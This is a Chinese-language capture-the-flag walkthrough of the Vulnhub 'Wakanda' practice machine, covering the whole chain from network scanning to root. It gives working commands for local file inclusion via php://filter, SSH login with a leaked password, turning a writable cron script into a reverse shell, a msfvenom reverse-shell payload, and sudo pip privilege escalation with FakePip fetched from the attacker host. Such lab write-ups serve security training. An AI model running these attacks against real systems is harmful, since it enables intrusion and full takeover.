滲透測試實戰-Vulnhub-Wakanda
Wakanda Vulhub - 幕布php
- 首先下載Wakanda的虛擬機鏡像
- 而後在攻擊機(Kali)上首先進行目標主機的探測
- 使用命令,netdiscover或帶有參數指定網卡,IP段等的命令,進行探測,也但是使用arp的相關命令,這比netdiscover快一些
- 注意:可能因爲網絡設置上的問題,在Vmware上的Kali一直探測不到VirtualBox上的Wakanda,起初Wakanda的網卡設置爲Host Only,僅主機模式,若是在VBox上開啓 其餘Linux系統,能夠探測到,後來通過多種嘗試仍然沒法探測到,因而我將Kali 的網絡修改成橋接模式,直接鏈接物理機的網絡狀態,應該是橋接到了Vbox的hostonly網卡上,kali的ip變成了192.168.56.103
- 查看本身的IP
- 而後進行探測
- 名稱爲PCS 。。。的就是咱們的目標靶機,不知爲什麼會出現 兩個,可是接下來使用nmap掃描時會發現真正有用的下面的那一個,即:192.168.56.101
- 而後使用nmap進行端口掃描
- 探測到時VBox的虛擬機機,開放的端口以及開啓的服務,通過查詢 3333|木馬Prosiak開放此端口,,,可是在網上看到的以及後續利用的說這是SSH服務的端口
- 也可使用帶有參數的nmap 命令,如全端口掃描:namp -sS -p- 192.168.56.101
- 對開放的服務即端口進行分析,能夠發現目標機在80端口上開放了http服務,即有Web服務,能夠嘗試進行訪問,在虛擬機和物理機都可,是一個交易網站、
- 而後嘗試使用Nikto 進行網站漏洞分掃描,nikto -h 192.168.56.101
- 並無重大的發現,有時也能夠嘗試其餘的網站掃描工具,如awvs,owasp等
- 接着使用dirb枚舉一下它的目錄看看,drib http://192.168.56.101 應該是使用了一個common.txt的字典
- 查看網頁的源代碼
- 發現有這樣一條註釋十分顯眼<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->,將?lang=fr輸入地址欄發現原來是英文的那段話變成了法語
-
-
- 根據網上看到的說法,這裏極可能存在本地文件包含(LFI)或遠程文件包含(RFI)漏洞,爲了測試是否存在LFI漏洞,使用curl工具,使用php filter僞協議來讀取index文件源碼,命令:curl http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index
- 兩個漏洞的介紹
- LFI 本地包含
- LFI漏洞容許用戶經過在URL中包括一個文件
- 例子
- 在基本的LFI攻擊中,咱們可使用(../)或簡單地(/)從目錄中直接讀取文件的內容,下面的截圖中在瀏覽器URL中訪問密碼文件
- 有的安全級別比較高,可能沒法訪問密碼文件,這就可能須要利用burpsuite攔截請求進行必定的修改
- 其次就是本次實驗的狀況,利用php函數
- 從如下截圖能夠看到passwd文件內容編碼爲base64,複製整個編碼文本。而我在實驗時應該是將整個都進行編碼了
- 還能夠利用php 的Input函數
- 使用PHP Input函數,經過執行注入PHP代碼來利用LFI漏洞
- 經過反向鏈接鏈接目標機器; 在kali Linux中打開終端輸入msfconsole啓動metasploit。
- 遠程文件包含
- 若是php.ini的配置選項allow_url_include爲On的話,文件包含函數是能夠加載遠程文件的,
- 即服務器經過PHP的特性(函數)去包含任意文件時,因爲要包含的這個文件來源過濾不嚴格,從而能夠去包含一個惡意文件,攻擊者就能夠遠程構造一個特定的惡意文件達到攻擊目的。
- 原理
- 同本地文件包含原理,只是參數能夠換成一個遠程的url地址,此時包含的文件不能爲php文件,可寫成txt或者圖片馬等等
- 文件包含的時候,無視文件格式,只要文件中有php代碼,就會被執行 一句話木馬
- 以後使用菜刀鏈接便可
- 思路
- 而後將這段加密後的源碼保存,使用命令:base64 index -d進行解密 後續還能夠進一步使用其餘方法得到這個密碼,可是利用的漏洞都是同樣的
- 發現 password="Niamey4Ever227!!!"
- 以前測試過這個服務的其餘目錄沒法使用,如admin,backup等,在端口掃描時注意到有個3333端口開放,後面的名稱寫的dec-notes,看到網上說這是SSH服務的端口,而後根據前面解密獲得的密碼,以及在網頁上發現的用戶名mamado,進行遠程登陸。ssh mamadou@192.168.56.101 -p 3333
- 獲得了一個python的命令行模式,使用的shell 不是bash 是python
- 而後輸入import pty 使用這個模塊,用於切換到bash shell.以後的命令是pty.spwan("/bin/bash")
- 該pty模塊定義了處理僞終端概念的操做:啓動另外一個進程並可以以編程方式寫入和讀取其控制終端
- pty.spawn(argv[, master_read[, stdin_read]]) 產生一個進程,並將其控制終端與當前進程的標準io鏈接起來。這經常被用來擋住堅持從控制終端讀取的程序
- 成功地到了bash模式
- 在當前的目錄下獲得第一個flag
- 而後探索其餘目錄,使用命令:find / --name "*flag*" 2>/dev/null進行查找沒有任何結果,多是沒有權限訪問,再去/var/www/html目錄下看看,依舊沒有
- 查看當前用戶是否具備root權限
- 查找其餘用戶,cat /etc/passwd
- 發如今當前用戶下面有個devops用戶,
- 切換 ,cd /home/devops,進行查看,發現了第二個flag,可是沒有查看的權限
- 繼續探索目錄,在tmp目錄下
- 發現有個test文件,根據系統時間和其建立的時間,咱們懷疑靶機上運行了一個程序,按期執行建立test文件,這裏須要用到帶有參數的ls 命令:ls -lar這條命令能夠列出目錄下項目的用戶,修改時間等,這裏test文件的時間要比其餘的都晚
- 在通過別人的尋找以後,在srv目錄下發現了一個python程序,叫作antivirus.py在執行建立test的命令,其內容爲
- 頗有可能srv目錄下放的就是一些開機執行,自動執行,按期執行的程序,腳本等
- 接下來能夠有兩種方式獲得devops的權限,一種是利用存在的python文件,利用編程,還有一種是利用msfvenom生成payload,將其放入原來的py文件,註釋掉原來的代碼,後面的偵聽過程都是一致的
- 第一種
- 由此,看出這個文件的所屬是devops,屬組是developers,任何人都能修改,能夠進行修改做爲一個反向shell
- 這裏應該是socket編程,讓它與攻擊機的1235端口有鏈接
-
- subprocess模塊:
- 運行python的時候,咱們都是在建立並運行一個進程。像Linux進程那樣,一個進程能夠fork一個子進程,並讓這個子進程exec另一個程序。在Python中,咱們經過標準庫中的subprocess包來fork一個子進程,並運行一個外部的程序。
- subprocess包中定義有數個建立子進程的函數,這些函數分別以不一樣的方式建立子進程,因此咱們能夠根據須要來從中選取一個使用。另外subprocess還提供了一些管理標準流(standard stream)和管道(pipe)的工具,從而在進程間使用文本通訊。
- os模塊
- 是系統的接口
- os.dup2() 方法用於將一個文件描述符 fd 複製到另外一個 fd2,沒有返回值
- 而後在kali上偵聽該端口,nc -lvvp 1235
- 成功進入devops的shell
- 而後查看以前在/home/devops下找到的第二個flag
- 第二種
- 使用msfvenom生成payload
- msfvenom -p cmd/unix/reverse_python lhost=192.168.56.101 lport=4444 R
- 而後將-c後的payoad複製進以前發現的antivirus.py中,並註釋掉原來的代碼
- 而後對設置的端口進行監聽,我多是網絡設置的緣由,沒法鏈接
- 想辦法提權
- 查看devops的root權限,發如今nopass的狀況下只有pip可使用
- 關於pip命令,有一個漏洞能夠利用,GitHub上有一個利用腳本Fakepip https://github.com/0x00-0x00/FakePip
- 利用pip升級漏洞
- 因爲在靶機上下載不方便,先在kali上下載下來 git clone https://github.com/0x00-0x00/FakePip.git
- 進行修改,主要是IP,監聽的端口能夠自行選擇是否修改,但必定與後面監聽的端口一致
- 而後在當前的目錄下利用python開啓一個簡單的http服務,提供靶機下載,python -m SimpleHTTPServer 8888
- 而後在靶機上,wget http:192.168.56.103:8888/setup.py
- 而後在靶機上使用root權限執行sudo /usr/bin/pip install . --upgrade --force-reinstall 執行這個EXp
- 在kali上監聽EXP中設置的端口,nc -lvvp 13372
- 得到root權限後,查看根目錄,獲得最後一個flag
- 在這裏普及一下漏洞的名稱知識
- 至此找到了全部的flag 並得到了root權限
歡迎關注本站公眾號,獲取更多信息